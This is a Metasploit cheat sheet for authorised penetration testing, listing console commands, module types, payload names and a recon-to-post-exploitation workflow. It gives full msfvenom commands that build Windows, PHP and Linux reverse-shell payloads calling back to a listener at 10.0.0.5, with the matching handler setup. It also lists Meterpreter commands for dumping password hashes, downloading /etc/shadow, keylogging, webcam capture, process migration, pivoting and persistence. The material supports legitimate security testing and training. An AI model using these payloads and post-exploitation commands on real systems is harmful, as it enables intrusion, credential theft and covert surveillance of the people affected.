

Metasploit Basics

Common modules, workflow patterns, and post-exploitation tricks. For authorised testing only.

Console Essentials

<code>msfconsole -q</code>	Start console without banner
<code>help / ?</code>	List all commands
<code>search type:exploit name:smb</code>	Find SMB exploits
<code>use exploit/multi/handler</code>	Load module by full path
<code>use 0</code>	Load result #0 from last search
<code>show options</code>	Required and optional settings
<code>show advanced</code>	Advanced module options
<code>show payloads</code>	Compatible payloads for current module
<code>set RHOSTS 10.0.0.5</code>	Set target
<code>setg RHOSTS 10.0.0.5</code>	Set globally for all modules
<code>unset RHOSTS</code>	Clear value
<code>back</code>	Leave current module
<code>exploit / run</code>	Launch
<code>exploit -j</code>	Run as background job
<code>jobs</code>	List active jobs
<code>sessions -l</code>	List active sessions
<code>sessions -i 1</code>	Interact with session 1
<code>background / Ctrl-Z</code>	Background current session

Module Categories

<code>exploit/...</code>	Code execution against vuln
<code>payload/...</code>	Code that runs post-exploitation
<code>auxiliary/...</code>	Scanners, fuzzers, DoS, login brute
<code>post/...</code>	Run on existing session (privesc, loot)
<code>encoder/...</code>	Avoid bad chars / IDS evasion
<code>nop/...</code>	NOP sleds for buffer overflow
<code>evasion/...</code>	AV evasion modules

Workspaces & DB

<code>workspace -a engagement</code>	New workspace
<code>workspace engagement</code>	Switch
<code>db_status</code>	Confirm DB connection
<code>db_nmap -sV target</code>	Run nmap and import results
<code>hosts</code>	List discovered hosts

<code>services -p 80</code>	List services on port 80
<code>vulns</code>	Detected vulnerabilities
<code>creds</code>	Captured credentials
<code>loot</code>	Files exfiltrated
<code>db_export -f xml out.xml</code>	Export findings

Common Payloads

<code>windows/x64/meterpreter/reverse_tcp</code>	Win64 reverse Meterpreter
<code>linux/x64/meterpreter/reverse_tcp</code>	Linux reverse Meterpreter
<code>windows/x64/shell_reverse_tcp</code>	Plain reverse shell
<code>cmd/unix/reverse_bash</code>	No-binary bash reverse shell
<code>python/meterpreter/reverse_tcp</code>	Python Meterpreter
<code>java/meterpreter/reverse_tcp</code>	Java cross-platform
<code>php/meterpreter/reverse_tcp</code>	PHP webshell upgrade

msfvenom — Payload Generation

```
# Windows reverse Meterpreter EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f exe -o shell.exe

# PHP one-liner
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f raw -o sh.php

# ELF binary for Linux target
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f elf -o sh.elf

# Listener side (always)
msfconsole -q -x \
"use multi/handler;
set PAYLOAD windows/x64/meterpreter/reverse_tcp;
set LHOST 10.0.0.5;
set LPORT 4444;
run"
```

Meterpreter Cheatsheet

sysinfo	OS, arch, hostname
getuid / getsystem	Current user / try local privesc
hashdump	Dump local SAM hashes
shell	Drop to native shell
upload local /tmp/x	Upload file to target
download /etc/shadow	Download file from target
cat / pwd / cd / ls	Filesystem nav
ps / kill PID	Process control
migrate PID	Move into another process
portfwd add -l 8080 -p 80 -r tgt	Local pivot port forward
route add 10.1.1.0 255.255.255.0 1	Route through session
screenshot	Capture desktop
keyscan_start / keyscan_dump	Keylogger
webcam_snap / webcam_stream	Capture webcam
run post/multi/recon/local_exploit_suggester	Find privesc paths

Auxiliary Highlights

auxiliary/scanner/portscan/tcp	Lightweight TCP port scan
auxiliary/scanner/smb/smb_version	Identify SMB versions
auxiliary/scanner/ssh/ssh_login	SSH credential brute

auxiliary/scanner/http/http_login	HTTP basic auth brute
auxiliary/scanner/snmp/snmp_login	SNMP community string brute
auxiliary/admin/smb/psexec_command	Run command via SMB

Workflow Pattern

1. **Recon** — db_nmap target range, build hosts/services/vulns table.
2. **Identify** — search for matching exploits by service/version.
3. **Configure** — show options, set RHOSTS/LHOST/LPORT, pick payload.
4. **Test on copy first** — verify exploit works in lab before live.
5. **Exploit** — run with -j to background.
6. **Post** — migrate, persist (carefully + only if scope), loot creds, pivot.
7. **Document** — every command into your report log.